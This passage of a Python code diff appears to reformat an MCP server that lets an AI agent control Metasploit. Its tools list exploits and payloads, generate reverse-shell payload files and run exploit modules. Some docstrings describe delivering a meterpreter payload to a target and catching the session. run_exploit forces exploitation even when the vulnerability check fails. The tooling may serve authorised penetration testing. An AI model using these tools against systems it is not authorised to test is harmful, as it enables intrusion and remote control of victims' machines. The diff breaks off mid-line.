({RPC_CALL_TIMEOUT}s) while listing exploits from Metasploit server. Server may be slow or unresponsive." @@ -2658,11 +3057,20 @@ async def list_exploits(search: str = "", ctx: Optional[Context] = None) -> List finally: await keepalive.stop(send_completion=False) + @mcp.tool() -async def list_payloads(platform: str = "", arch: str = "", compatible_with: str = "", search: str = "", include_fetch_payloads: bool = False, stage_hint: bool = True, ctx: Optional[Context] = None) -> List[str]: +async def list_payloads( + platform: str = "", + arch: str = "", + compatible_with: str = "", + search: str = "", + include_fetch_payloads: bool = False, + stage_hint: bool = True, + ctx: Optional[Context] = None, +) -> List[str]: """ List available Metasploit payloads, optionally filtered by platform, architecture, exploit module compatibility, and/or search term. - + IMPORTANT: For best results, use compatible_with parameter to get ONLY compatible payloads for a specific exploit. Using platform/search alone returns ALL payloads, which may include incompatible architectures (x86 vs x64). @@ -2685,56 +3093,58 @@ async def list_payloads(platform: str = "", arch: str = "", compatible_with: str Returns: List of payload names matching filters (max 100), prefixed with 'payload/' to match msfconsole format. Example: 'payload/linux/x64/meterpreter/reverse_tcp' - + Note: Fetch Payloads (payload/cmd/*) are excluded by default. Set include_fetch_payloads=True to see them. Fetch Payloads use command stagers (CURL, TFTP, CERTUTIL) and require console execution (run_as_job=False). You can use payloads with or without the 'payload/' prefix in run_exploit() - it will be normalized automatically. """ client = get_msf_client() - logger.info(f"Listing payloads (platform: '{platform or 'Any'}', arch: '{arch or 'Any'}', exploit: '{compatible_with or 'Any'}', search: '{search or 'Any'}')") - + logger.info( + f"Listing payloads (platform: '{platform or 'Any'}', arch: '{arch or 'Any'}', exploit: '{compatible_with or 'Any'}', search: '{search or 'Any'}')" + ) + # Report initial progress if ctx available if ctx: await ctx.report_progress( - progress=0, - total=100, - message="Listing payloads from Metasploit..." + progress=0, total=100, message="Listing payloads from Metasploit..." ) - + # Use keep-alive for potentially slow RPC calls keepalive = get_keepalive_manager( - ctx, - operation_name="List payloads", - initial_progress=5, - max_progress=90 + ctx, operation_name="List payloads", initial_progress=5, max_progress=90 ) - + try: await keepalive.start() - + # If compatible_with is provided, get compatible payloads for that module if compatible_with: logger.info(f"Getting compatible payloads for exploit module: {compatible_with}") try: # Get the module object - module_obj = await _get_module_object('exploit', compatible_with) - + module_obj = await _get_module_object("exploit", compatible_with) + # Get compatible payloads using MSF RPC API # The module.compatible_payloads method returns payloads compatible with the exploit - logger.debug(f"Calling module.payloads for {compatible_with} with {RPC_CALL_TIMEOUT}s timeout...") + logger.debug( + f"Calling module.payloads for {compatible_with} with {RPC_CALL_TIMEOUT}s timeout..." + ) compatible = await asyncio.wait_for( - asyncio.to_thread(lambda: module_obj.payloads), - timeout=RPC_CALL_TIMEOUT + asyncio.to_thread(lambda: module_obj.payloads), timeout=RPC_CALL_TIMEOUT + ) + logger.debug( + f"Retrieved {len(compatible)} compatible payloads for {compatible_with}." ) - logger.debug(f"Retrieved {len(compatible)} compatible payloads for {compatible_with}.") - + # compatible_payloads returns a list of payload names filtered = compatible - + except (ValueError, InvalidModuleError) as ve: # Module not found logger.warning(f"Exploit module '{compatible_with}' not found: {ve}") - return [f"Error: Exploit module '{compatible_with}' not found. Please verify the module name using list_exploits."] + return [ + f"Error: Exploit module '{compatible_with}' not found. Please verify the module name using list_exploits." + ] except AttributeError as attr_err: logger.warning( "Exploit module '%s' does not expose compatible payloads: %s", @@ -2751,90 +3161,102 @@ async def list_payloads(platform: str = "", arch: str = "", compatible_with: str # Add timeout to prevent hanging on slow/unresponsive MSF server logger.debug(f"Calling client.modules.payloads with {RPC_CALL_TIMEOUT}s timeout...") payloads = await asyncio.wait_for( - asyncio.to_thread(lambda: client.modules.payloads), - timeout=RPC_CALL_TIMEOUT + asyncio.to_thread(lambda: client.modules.payloads), timeout=RPC_CALL_TIMEOUT ) logger.debug(f"Retrieved {len(payloads)} total payloads from MSF.") filtered = payloads - + # Apply platform and arch filters if provided if platform: plat_lower = platform.lower() # Separate ARCH_CMD payloads (cmd stagers) - they work on any platform - cmd_stagers = [p for p in filtered if p.lower().startswith('cmd/')] - other_payloads = [p for p in filtered if not p.lower().startswith('cmd/')] - + cmd_stagers = [p for p in filtered if p.lower().startswith("cmd/")] + other_payloads = [p for p in filtered if not p.lower().startswith("cmd/")] + # Apply platform filter to non-cmd payloads # Match platform at the start of the payload path segment or within common paths - filtered_other = [p for p in other_payloads if p.lower().startswith(plat_lower + '/') or f"/{plat_lower}/" in p.lower()] - + filtered_other = [ + p + for p in other_payloads + if p.lower().startswith(plat_lower + "/") or f"/{plat_lower}/" in p.lower() + ] + # For cmd stagers, check if they match the platform (e.g., cmd/unix/ matches platform='unix') filtered_cmd = [p for p in cmd_stagers if f"/{plat_lower}/" in p.lower()] - + # If no platform-matched cmd stagers, include all cmd stagers anyway (they're universal) if not filtered_cmd and cmd_stagers: # No cmd stagers matched platform, but include them anyway as they're universal filtered_cmd = cmd_stagers - logger.debug(f"Platform filter '{platform}': Including all {len(cmd_stagers)} ARCH_CMD stagers (universal)") - + logger.debug( + f"Platform filter '{platform}': Including all {len(cmd_stagers)} ARCH_CMD stagers (universal)" + ) + filtered = filtered_other + filtered_cmd - logger.debug(f"Platform filter '{platform}': {len(filtered_other)} matching payloads + {len(filtered_cmd)} ARCH_CMD stagers = {len(filtered)} total") - + logger.debug( + f"Platform filter '{platform}': {len(filtered_other)} matching payloads + {len(filtered_cmd)} ARCH_CMD stagers = {len(filtered)} total" + ) + if arch: arch_lower = arch.lower() - + # Non-architecture-specific payload types that should always be included # These work on any architecture (ARCH_CMD, ARCH_PHP, ARCH_PYTHON, etc.) non_arch_specific_prefixes = [ - 'cmd/', # ARCH_CMD - command stagers - 'php/', # ARCH_PHP - 'python/', # ARCH_PYTHON - 'java/', # ARCH_JAVA - 'ruby/', # ARCH_RUBY - 'dalvik/', # ARCH_DALVIK - 'nodejs/', # ARCH_NODEJS - 'firefox/', # ARCH_FIREFOX - 'r/', # ARCH_R - 'tty/', # ARCH_TTY + "cmd/", # ARCH_CMD - command stagers + "php/", # ARCH_PHP + "python/", # ARCH_PYTHON + "java/", # ARCH_JAVA + "ruby/", # ARCH_RUBY + "dalvik/", # ARCH_DALVIK + "nodejs/", # ARCH_NODEJS + "firefox/", # ARCH_FIREFOX + "r/", # ARCH_R + "tty/", # ARCH_TTY ] - + # Helper function to check if payload is non-architecture-specific # Handles both "cmd/unix/reverse_bash" and "payload/cmd/unix/reverse_bash" formats def is_non_arch_specific(payload_path: str) -> bool: path_lower = payload_path.lower() # Remove "payload/" prefix if present for checking - check_path = path_lower[8:] if path_lower.startswith('payload/') else path_lower + check_path = path_lower[8:] if path_lower.startswith("payload/") else path_lower return any(check_path.startswith(prefix) for prefix in non_arch_specific_prefixes) - + # Separate non-architecture-specific payloads from architecture-specific ones non_arch_payloads = [p for p in filtered if is_non_arch_specific(p)] arch_specific_payloads = [p for p in filtered if not is_non_arch_specific(p)] - + # Apply arch filter strictly to architecture-specific payloads # Match architecture more flexibly (e.g., '/x64/', 'meterpreter') - filtered_arch_specific = [p for p in arch_specific_payloads if f"/{arch_lower}/" in p.lower() or arch_lower in p.lower().split('/')] - + filtered_arch_specific = [ + p + for p in arch_specific_payloads + if f"/{arch_lower}/" in p.lower() or arch_lower in p.lower().split("/") + ] + # Always include non-architecture-specific payloads regardless of arch filter filtered = filtered_arch_specific + non_arch_payloads - logger.debug(f"Arch filter '{arch}': {len(filtered_arch_specific)} arch-specific matching payloads + {len(non_arch_payloads)} non-arch-specific payloads = {len(filtered)} total") - + logger.debug( + f"Arch filter '{arch}': {len(filtered_arch_specific)} arch-specific matching payloads + {len(non_arch_payloads)} non-arch-specific payloads = {len(filtered)} total" + ) + # Apply search filter if provided if search: search_lower = search.lower() # Support wildcards by converting * to .* for regex matching - if '*' in search_lower: - pattern = re.compile(search_lower.replace('*', '.*')) + if "*" in search_lower: + pattern = re.compile(search_lower.replace("*", ".*")) filtered = [p for p in filtered if pattern.search(p.lower())] else: # Simple substring match filtered = [p for p in filtered if search_lower in p.lower()] - payloads = filtered count = len(payloads) limit = 100 logger.info(f"Found {count} payloads matching filters. Returning max {limit}.") - + result = payloads[:limit] if stage_hint: hinted = [] @@ -2847,15 +3269,13 @@ def is_non_arch_specific(payload_path: str) -> bool: else: hinted.append(payload_name) result = hinted - + # Report completion if ctx available if ctx: await ctx.report_progress( - progress=100, - total=100, - message=f"Found {len(result)} payloads" + progress=100, total=100, message=f"Found {len(result)} payloads" ) - + return result except asyncio.TimeoutError: error_msg = f"Timeout ({RPC_CALL_TIMEOUT}s) while listing payloads from Metasploit server. Server may be slow or unresponsive." @@ -2870,11 +3290,14 @@ def is_non_arch_specific(payload_path: str) -> bool: finally: await keepalive.stop(send_completion=False) + @mcp.tool() async def generate_payload( payload: str, format: str, - options: Union[Dict[str, Any], str], # Required: e.g., {"LHOST": "1.2.3.4", "LPORT": 4444} or "LHOST=1.2.3.4,LPORT=4444" + options: Union[ + Dict[str, Any], str + ], # Required: e.g., {"LHOST": "1.2.3.4", "LPORT": 4444} or "LHOST=1.2.3.4,LPORT=4444" encoder: Optional[str] = None, iterations: int = 0, badchars: str = "", @@ -2890,17 +3313,17 @@ async def generate_payload( """ Generate a Metasploit payload using the RPC API (payload.generate). Saves the generated payload to a file on the server if successful. - + IMPORTANT - LISTENER REQUIREMENT: After generating a payload, you MUST use start_listener() to set up a handler that will catch connections from the generated payload when it's executed on a target system. - + WORKFLOW: 1. Call generate_payload() to create the payload file (e.g., .exe, .elf, .py) 2. Call start_listener() with matching payload, LHOST, and LPORT 3. Distribute/execute the generated payload file on the target 4. The target will connect back to your listener and establish a session - + EXAMPLE - CORRECT USAGE: # Step 1: Generate payload result = await generate_payload( @@ -2911,7 +3334,7 @@ async def generate_payload( # Step 2: Start matching listener await start_listener('windows/meterpreter/reverse_tcp', '10.0.0.1', 4444) # Step 3: Deliver and execute the payload file on target (outside Metasploit) - + NOTE: This is different from run_exploit() which automatically handles listener creation when running exploit modules. Use generate_payload() + start_listener() when you need standalone payload files for manual delivery. @@ -2939,14 +3362,10 @@ async def generate_payload( """ client = get_msf_client() logger.info(f"Generating payload '{payload}' (Format: {format}) via RPC. Options: {options}") - + # Report initial progress if ctx available if ctx: - await ctx.report_progress( - progress=0, - total=100, - message=f"Generating payload: {payload}" - ) + await ctx.report_progress(progress=0, total=100, message=f"Generating payload: {payload}") # Parse options gracefully try: @@ -2955,94 +3374,106 @@ async def generate_payload( return {"status": "error", "message": f"Invalid options format: {e}"} if not parsed_options: - return {"status": "error", "message": "Payload 'options' dictionary (e.g., LHOST, LPORT) is required."} + return { + "status": "error", + "message": "Payload 'options' dictionary (e.g., LHOST, LPORT) is required.", + } # Handle bind address and port options bind_address_to_validate = None if reverselistenerbindaddress is not None: bind_address_to_validate = reverselistenerbindaddress - parsed_options['ReverseListenerBindAddress'] = reverselistenerbindaddress - elif 'LHOST' in parsed_options: + parsed_options["ReverseListenerBindAddress"] = reverselistenerbindaddress + elif "LHOST" in parsed_options: # Default to 0.0.0.0 instead of using LHOST bind_address_to_validate = "0.0.0.0" - parsed_options['ReverseListenerBindAddress'] = "0.0.0.0" - + parsed_options["ReverseListenerBindAddress"] = "0.0.0.0" + # Validate bind address if one was set if bind_address_to_validate is not None: is_valid, error_msg = await validate_bind_address(bind_address_to_validate) if not is_valid: - return {"status": "error", "message": f"Invalid ReverseListenerBindAddress: {error_msg}"} - + return { + "status": "error", + "message": f"Invalid ReverseListenerBindAddress: {error_msg}", + } + if reverselistenerbindport is not None: if not (1 <= reverselistenerbindport <= 65535): - return {"status": "error", "message": "Invalid ReverseListenerBindPort. Must be between 1 and 65535."} - parsed_options['ReverseListenerBindPort'] = reverselistenerbindport - + return { + "status": "error", + "message": "Invalid ReverseListenerBindPort. Must be between 1 and 65535.", + } + parsed_options["ReverseListenerBindPort"] = reverselistenerbindport + # Check LPORT availability if it's a reverse payload (optional warning for payload generation) # This provides early feedback even though the actual bind happens when the payload runs/listener starts - if 'LPORT' in parsed_options: - lport_value = parsed_options['LPORT'] + if "LPORT" in parsed_options: + lport_value = parsed_options["LPORT"] try: lport_int = int(lport_value) # Determine the bind address and port for checking - check_bind_address = parsed_options.get('ReverseListenerBindAddress', '0.0.0.0') - check_bind_port = parsed_options.get('ReverseListenerBindPort', lport_int) - + check_bind_address = parsed_options.get("ReverseListenerBindAddress", "0.0.0.0") + check_bind_port = parsed_options.get("ReverseListenerBindPort", lport_int) + # Check port availability (as a warning, not blocking) - port_available, port_error = await check_port_available(check_bind_port, check_bind_address) + port_available, port_error = await check_port_available( + check_bind_port, check_bind_address + ) if not port_available: - logger.warning(f"Port check during payload generation: {port_error}. " - f"This payload will need a listener on {check_bind_address}:{check_bind_port}") + logger.warning( + f"Port check during payload generation: {port_error}. " + f"This payload will need a listener on {check_bind_address}:{check_bind_port}" + ) # Note: Not returning error here since payload generation itself doesn't bind the port # The port will be needed when start_listener() or run_exploit() is called later except (ValueError, TypeError) as e: - logger.warning(f"Could not validate LPORT value '{lport_value}' during payload generation: {e}") + logger.warning( + f"Could not validate LPORT value '{lport_value}' during payload generation: {e}" + ) # Use keep-alive for payload generation keepalive = get_keepalive_manager( - ctx, - operation_name=f"Generate payload {payload}", - initial_progress=10, - max_progress=90 + ctx, operation_name=f"Generate payload {payload}", initial_progress=10, max_progress=90 ) try: await keepalive.start() - + # Get the payload module object - payload_obj = await _get_module_object('payload', payload) + payload_obj = await _get_module_object("payload", payload) # Set payload-specific required options (like LHOST/LPORT) - await _set_module_options(payload_obj, parsed_options, module_type='payload') + await _set_module_options(payload_obj, parsed_options, module_type="payload") # Set payload generation options in payload.runoptions # as per the pymetasploit3 documentation logger.info("Setting payload generation options in payload.runoptions...") - + # Define a function to update an individual runoption async def update_runoption(key, value): if value is None: return await asyncio.to_thread(lambda k=key, v=value: payload_obj.runoptions.__setitem__(k, v)) logger.debug(f"Set runoption {key}={value}") - + # Set generation options individually - await update_runoption('Format', format) + await update_runoption("Format", format) if encoder: - await update_runoption('Encoder', encoder) + await update_runoption("Encoder", encoder) if iterations: - await update_runoption('Iterations', iterations) + await update_runoption("Iterations", iterations) if badchars is not None: - await update_runoption('BadChars', badchars) + await update_runoption("BadChars", badchars) if nops: - await update_runoption('NopSledSize', nops) + await update_runoption("NopSledSize", nops) if template: - await update_runoption('Template', template) + await update_runoption("Template", template) if keep_template: - await update_runoption('KeepTemplateWorking', keep_template) + await update_runoption("KeepTemplateWorking", keep_template) if force_encode: - await update_runoption('ForceEncode', force_encode) - + await update_runoption("ForceEncode", force_encode) + # Generate the payload bytes using payload.payload_generate() logger.info("Calling payload.payload_generate()...") raw_payload_bytes = await asyncio.to_thread(lambda: payload_obj.payload_generate()) @@ -3051,8 +3482,8 @@ async def update_runoption(key, value): error_msg = f"Payload generation failed. Expected bytes, got {type(raw_payload_bytes)}: {str(raw_payload_bytes)[:200]}" logger.error(error_msg) # Try to extract specific error from potential dictionary response - if isinstance(raw_payload_bytes, dict) and raw_payload_bytes.get('error'): - error_msg = raw_payload_bytes.get('error_message', str(raw_payload_bytes)) + if isinstance(raw_payload_bytes, dict) and raw_payload_bytes.get("error"): + error_msg = raw_payload_bytes.get("error_message", str(raw_payload_bytes)) return {"status": "error", "message": f"Payload generation failed: {error_msg}"} payload_size = len(raw_payload_bytes) @@ -3068,19 +3499,23 @@ async def update_runoption(key, value): return { "status": "error", "message": f"Payload generated ({payload_size} bytes) but could not create save directory: {e}", - "payload_size": payload_size, "format": format + "payload_size": payload_size, + "format": format, } # Determine filename (with basic sanitization) final_filename = None if output: - sanitized = re.sub(r'[^a-zA-Z0-9_.\-]', '_', os.path.basename(output)) # Basic sanitize + basename - if sanitized: final_filename = sanitized + sanitized = re.sub( + r"[^a-zA-Z0-9_.\-]", "_", os.path.basename(output) + ) # Basic sanitize + basename + if sanitized: + final_filename = sanitized if not final_filename: timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") - safe_payload = re.sub(r'[^a-zA-Z0-9_]', '_', payload) - safe_format = re.sub(r'[^a-zA-Z0-9_]', '_', format) + safe_payload = re.sub(r"[^a-zA-Z0-9_]", "_", payload) + safe_format = re.sub(r"[^a-zA-Z0-9_]", "_", format) final_filename = f"payload_{safe_payload}_{timestamp}.{safe_format}" save_path = os.path.join(PAYLOAD_SAVE_DIR, final_filename) @@ -3090,47 +3525,61 @@ async def update_runoption(key, value): with open(save_path, "wb") as f: f.write(raw_payload_bytes) logger.info(f"Payload saved to {save_path}") - + # Report completion if ctx available if ctx: await ctx.report_progress( - progress=100, - total=100, - message=f"Payload generated: {payload_size} bytes" + progress=100, total=100, message=f"Payload generated: {payload_size} bytes" ) - + return { "status": "success", "message": f"Payload '{payload}' generated successfully and saved.", "payload_size": payload_size, "format": format, - "server_save_path": save_path + "server_save_path": save_path, } except IOError as e: logger.error(f"Failed to write payload to {save_path}: {e}") return { "status": "error", "message": f"Payload generated but failed to save to file: {e}", - "payload_size": payload_size, "format": format + "payload_size": payload_size, + "format": format, } except InvalidModuleError as e: # Clean warning for invalid payload module (not a bug, just wrong module name) logger.warning(f"Payload type '{payload}' not found: {e}") - return {"status": "error", "message": f"Invalid payload type: {payload}. Verify the payload name is correct and available in your Metasploit installation."} - except (ValueError, MsfRpcError) as e: # Catches errors from _get_module_object, _set_module_options + return { + "status": "error", + "message": f"Invalid payload type: {payload}. Verify the payload name is correct and available in your Metasploit installation.", + } + except ( + ValueError, + MsfRpcError, + ) as e: # Catches errors from _get_module_object, _set_module_options error_str = str(e).lower() logger.error(f"Error generating payload {payload}: {e}") if "invalid payload type" in error_str or "unknown module" in error_str: - return {"status": "error", "message": f"Invalid payload type: {payload}"} + return {"status": "error", "message": f"Invalid payload type: {payload}"} elif "missing required option" in error_str or "invalid option" in error_str: - missing = getattr(payload_obj, 'missing_required', []) if 'payload_obj' in locals() else [] - return {"status": "error", "message": f"Missing/invalid options for payload {payload}: {e}", "missing_required": missing} + missing = ( + getattr(payload_obj, "missing_required", []) if "payload_obj" in locals() else [] + ) + return { + "status": "error", + "message": f"Missing/invalid options for payload {payload}: {e}", + "missing_required": missing, + } return {"status": "error", "message": f"Error generating payload: {e}"} - except AttributeError as e: # Specifically catch if payload_generate is missing + except AttributeError as e: # Specifically catch if payload_generate is missing logger.exception(f"AttributeError during payload generation for '{payload}': {e}") if "object has no attribute 'payload_generate'" in str(e): - return {"status": "error", "message": f"The pymetasploit3 payload module doesn't have the payload_generate method. Please check library version/compatibility."} + return { + "status": "error", + "message": f"The pymetasploit3 payload module doesn't have the payload_generate method. Please check library version/compatibility.", + } return {"status": "error", "message": f"An attribute error occurred: {e}"} except KeyError as e: # KeyError from pymetasploit3's payload_generate() when Metasploit RPC returns @@ -3140,12 +3589,12 @@ async def update_runoption(key, value): f"KeyError during payload generation for '{payload}' (format: {format}): {e}. " f"This typically indicates the Metasploit RPC server rejected the payload generation request. " f"Options provided: {parsed_options}", - exc_info=True + exc_info=True, ) - + # Provide helpful guidance based on common issues guidance_messages = [] - if 'payload' in error_str.lower(): + if "payload" in error_str.lower(): guidance_messages.append( f"The Metasploit RPC server did not return generated payload data. " f"Common causes: (1) Missing required options (check LHOST, LPORT for reverse payloads), " @@ -3153,36 +3602,41 @@ async def update_runoption(key, value): f"(try 'raw', 'elf', 'exe', 'war', 'jar', or 'jsp' depending on payload type), " f"(3) The payload module may have specific requirements not met." ) - + # Check if payload module has info about required options missing_required = [] try: - if 'payload_obj' in locals() and hasattr(payload_obj, 'missing_required'): + if "payload_obj" in locals() and hasattr(payload_obj, "missing_required"): missing_required = payload_obj.missing_required if missing_required: guidance_messages.append(f"Missing required options: {missing_required}") except Exception: pass # Don't fail on introspection - + return { "status": "error", "message": ( f"Payload generation failed for '{payload}' with format '{format}'. " - + " ".join(guidance_messages) if guidance_messages else - f"Payload generation failed for '{payload}' with format '{format}'. " + + " ".join(guidance_messages) + if guidance_messages + else f"Payload generation failed for '{payload}' with format '{format}'. " f"The Metasploit server did not return the expected payload data. " f"Verify that the payload type, format, and options are valid and compatible." ), "payload": payload, "format": format, - "missing_required": missing_required if missing_required else None + "missing_required": missing_required if missing_required else None, } except Exception as e: logger.exception(f"Unexpected error during payload generation for '{payload}'.") - return {"status": "error", "message": f"An unexpected server error occurred during payload generation: {e}"} + return { + "status": "error", + "message": f"An unexpected server error occurred during payload generation: {e}", + } finally: await keepalive.stop(send_completion=False) + @mcp.tool() async def run_exploit( module: str, @@ -3190,30 +3644,30 @@ async def run_exploit( payload: Optional[str] = None, payload_options: Optional[Union[Dict[str, Any], str]] = None, run_as_job: bool = True, - check_vulnerability: bool = False, # New option + check_vulnerability: bool = False, # New option force_exploit: bool = True, - timeout_seconds: int = LONG_CONSOLE_READ_TIMEOUT, # Used only if run_as_job=False (max: 120s) + timeout_seconds: int = LONG_CONSOLE_READ_TIMEOUT, # Used only if run_as_job=False (max: 120s) inactivity_timeout_seconds: int = SESSION_READ_INACTIVITY_TIMEOUT, ctx: Optional[Context] = None, ) -> Dict[str, Any]: """ Run a Metasploit exploit module with specified options. Handles async (job) and sync (console) execution, and includes session polling for jobs. - + IMPORTANT - LISTENER HANDLING: This function AUTOMATICALLY sets up the necessary listener/handler when you provide a payload and payload_options. DO NOT call start_listener() separately for the same payload/port combination - this will cause port conflicts and failures. - + WHEN TO USE start_listener() vs run_exploit(): - Use ONLY run_exploit() when: Running an exploit that needs a reverse shell/meterpreter connection back to you. The exploit will handle the listener automatically. - - Use start_listener() ONLY when: + - Use start_listener() ONLY when: * You need a standalone listener NOT tied to a specific exploit run * You're using manually generated payloads (from generate_payload) that need a handler * You need a persistent listener that survives multiple connection attempts * You're coordinating multi-stage attacks where the listener must exist before the exploit - + EXAMPLE - CORRECT USAGE (run_exploit handles listener): await run_exploit( module='exploit/multi/handler', @@ -3222,7 +3676,7 @@ async def run_exploit( payload_options={'LHOST': '10.0.0.1', 'LPORT': 4444} ) # No need to call start_listener() - it's automatic! - + EXAMPLE - INCORRECT USAGE (duplicate listener): await start_listener('windows/meterpreter/reverse_tcp', '10.0.0.1', 4444) # Creates listener on port 4444 await run_exploit(..., payload_options={'LHOST': '10.0.0.1', 'LPORT': 4444}) # FAILS - port already in use! @@ -3252,7 +3706,9 @@ async def run_exploit( """ # Cap timeout_seconds at MAX_TOOL_TIMEOUT_SECONDS (120s) if timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS: - logger.warning(f"timeout_seconds {timeout_seconds}s exceeds max {MAX_TOOL_TIMEOUT_SECONDS}s, capping to {MAX_TOOL_TIMEOUT_SECONDS}s") + logger.warning( + f"timeout_seconds {timeout_seconds}s exceeds max {MAX_TOOL_TIMEOUT_SECONDS}s, capping to {MAX_TOOL_TIMEOUT_SECONDS}s" + ) timeout_seconds = MAX_TOOL_TIMEOUT_SECONDS if inactivity_timeout_seconds > MAX_TOOL_TIMEOUT_SECONDS: logger.warning( @@ -3260,16 +3716,18 @@ async def run_exploit( f"capping to {MAX_TOOL_TIMEOUT_SECONDS}s" ) inactivity_timeout_seconds = MAX_TOOL_TIMEOUT_SECONDS - - logger.info(f"Request to run exploit '{module}'. Job: {run_as_job}, Check: {check_vulnerability}, Payload: {payload}") + + logger.info( + f"Request to run exploit '{module}'. Job: {run_as_job}, Check: {check_vulnerability}, Payload: {payload}" + ) logger.info(f"Module {module} options: {options}") logger.info(f"Payload {payload} options: {payload_options}") - + exploit_module = None # Validate module exists before proceeding try: - exploit_module = await _get_module_object('exploit', module) + exploit_module = await _get_module_object("exploit", module) logger.debug(f"Module '{module}' validated successfully") except InvalidModuleError as e: logger.warning(f"Exploit module '{module}' not found: {e}") @@ -3277,7 +3735,7 @@ async def run_exploit( except Exception as e: logger.error(f"Error validating module '{module}': {e}") return {"status": "error", "message": f"Error validating module '{module}': {e}"} - + # Parse options gracefully (handles both dict and string formats) try: parsed_options = _parse_options_gracefully(options) @@ -3285,22 +3743,24 @@ async def run_exploit( return {"status": "error", "message": f"Invalid options format: {e}"} if force_exploit: - supported_options = await _get_module_valid_options(exploit_module) if exploit_module else set() + supported_options = ( + await _get_module_valid_options(exploit_module) if exploit_module else set() + ) supports_force_exploit = "ForceExploit" in supported_options supports_auto_check = "AutoCheck" in supported_options - if 'ForceExploit' not in parsed_options: + if "ForceExploit" not in parsed_options: if supports_force_exploit: - parsed_options['ForceExploit'] = True + parsed_options["ForceExploit"] = True logger.info("Auto-set ForceExploit=true for exploit execution.") else: logger.info( "Skipping ForceExploit auto-injection for module '%s' because the option is not supported.", module, ) - if 'AutoCheck' not in parsed_options: + if "AutoCheck" not in parsed_options: if supports_auto_check: - parsed_options['AutoCheck'] = False + parsed_options["AutoCheck"] = False logger.info("Auto-set AutoCheck=false for exploit execution.") else: logger.info( @@ -3320,11 +3780,11 @@ async def run_exploit( # Normalize payload name format - strip 'payload/' prefix if present for internal use # But detect Fetch Payloads and guide user normalized_payload = payload - if payload.startswith('payload/'): + if payload.startswith("payload/"): # Strip payload/ prefix for internal processing normalized_payload = payload[8:] logger.debug(f"Normalized payload name: '{payload}' -> '{normalized_payload}'") - + # Detect Fetch Payloads (cmd/) and guide user to console execution # if normalized_payload.startswith('cmd/') and run_as_job: # logger.warning(f"Fetch Payload '{normalized_payload}' detected with run_as_job=True. Fetch Payloads require console execution.") @@ -3343,22 +3803,22 @@ async def run_exploit( # f"Alternatively, use a standard payload like 'payload/{normalized_payload.replace('cmd/', '').split('/')[0]}/x64/meterpreter/reverse_tcp'" # ) # } - + # Use normalized payload name (without payload/ prefix) for spec payload = normalized_payload payload_stage = _classify_payload_stage(payload) - + payload_spec = {"name": payload, "options": parsed_payload_options} - + # Check if LPORT is provided and if the port is available - if 'LPORT' in parsed_payload_options: - lport_value = parsed_payload_options['LPORT'] + if "LPORT" in parsed_payload_options: + lport_value = parsed_payload_options["LPORT"] try: lport_int = int(lport_value) # Determine bind address for port check - bind_address = parsed_payload_options.get('ReverseListenerBindAddress', '0.0.0.0') - bind_port = parsed_payload_options.get('ReverseListenerBindPort', lport_int) - + bind_address = parsed_payload_options.get("ReverseListenerBindAddress", "0.0.0.0") + bind_port = parsed_payload_options.get("ReverseListenerBindPort", lport_int) + # Check if port is available port_available, port_error = await check_port_available(bind_port, bind_address) if not port_available: @@ -3373,10 +3833,10 @@ async def run_exploit( try: # Use the console helper for 'check' as it provides output. check_result = await _execute_module_console( - module_type='exploit', + module_type="exploit", module_name=module, module_options=parsed_options, - command='check', + command="check", timeout=timeout_seconds, inactivity_timeout=inactivity_timeout_seconds, exit_terms_regexes=[ @@ -3391,16 +3851,16 @@ async def run_exploit( ) output = check_result.get("module_output", "") check_output_for_result = output - output_bytes = output.encode('utf-8', errors='replace') + output_bytes = output.encode("utf-8", errors="replace") if FAILED_TO_LOAD_MODULE_RE.search(output_bytes): module_name_match = re.search( - rb'Failed to load module:\s*([^\s\n]+)', + rb"Failed to load module:\s*([^\s\n]+)", output_bytes, re.IGNORECASE, ) failed_module = ( - module_name_match.group(1).decode('utf-8', errors='replace') + module_name_match.group(1).decode("utf-8", errors="replace") if module_name_match else module ) @@ -3418,13 +3878,13 @@ async def run_exploit( is_vulnerable = bool(IS_VULNERABLE_RE.search(output_bytes)) is_not_vulnerable = bool(IS_NOT_VULNERABLE_RE.search(output_bytes)) - if check_result.get('status') == "errror": + if check_result.get("status") == "errror": logger.warning(f"Error from metasploit: {check_result}") if force_exploit: logger.warning( "Check failed for %s (%s), but force_exploit=True so exploit execution will continue.", module, - check_result.get('message'), + check_result.get("message"), ) else: return { @@ -3447,90 +3907,91 @@ async def run_exploit( "check_output": check_result.get("module_output"), } if not is_vulnerable: - logger.warning(f"Check result inconclusive for {module}. Proceeding with exploit attempt cautiously.") + logger.warning( + f"Check result inconclusive for {module}. Proceeding with exploit attempt cautiously." + ) else: logger.info(f"Check indicates target appears vulnerable to {module}. Proceeding.") except Exception as chk_e: - logger.warning(f"Vulnerability check failed for {module}: {chk_e}. Proceeding with exploit attempt.") + logger.warning( + f"Vulnerability check failed for {module}: {chk_e}. Proceeding with exploit attempt." + ) if payload_spec is None: # Just return the check result if no payload was provided return { "status": "success", "message": f"Check indicates target appears vulnerable to {module}.", - "check_output": check_result.get("module_output") + "check_output": check_result.get("module_output"), } - - # Execute the exploit with MCP keep-alive to prevent client timeouts exploit_start_time = asyncio.get_event_loop().time() - + # Report initial progress if ctx available if ctx: await ctx.report_progress( - progress=0, - total=100, - message=f"Starting exploit execution: {module}" + progress=0, total=100, message=f"Starting exploit execution: {module}" ) - + # Use keep-alive for long-running exploit execution keepalive = get_keepalive_manager( - ctx, - operation_name=f"Exploit {module}", - initial_progress=10, - max_progress=90 + ctx, operation_name=f"Exploit {module}", initial_progress=10, max_progress=90 ) - + try: await keepalive.start() - + if run_as_job: logger.info(f"Executing exploit '{module}' as background job via RPC") result = await _execute_module_rpc( - module_type='exploit', + module_type="exploit", module_name=module, module_options=parsed_options, - payload_spec=payload_spec + payload_spec=payload_spec, ) else: - logger.info(f"Executing exploit '{module}' synchronously via console (timeout: {timeout_seconds}s)") + logger.info( + f"Executing exploit '{module}' synchronously via console (timeout: {timeout_seconds}s)" + ) result = await _execute_module_console( - module_type='exploit', + module_type="exploit", module_name=module, module_options=parsed_options, - command='exploit', + command="exploit", payload_spec=payload_spec, timeout=timeout_seconds, inactivity_timeout=inactivity_timeout_seconds, - exit_terms_regexes=[SESSION_OPENED_RE, FAILED_TO_LOAD_MODULE_RE] # Return early when session is opened or module fails to load + exit_terms_regexes=[ + SESSION_OPENED_RE, + FAILED_TO_LOAD_MODULE_RE, + ], # Return early when session is opened or module fails to load ) except InvalidModuleError as e: logger.warning(f"Exploit module '{module}' not found: {e}") return {"status": "error", "message": str(e)} finally: await keepalive.stop(send_completion=False) - + exploit_duration = 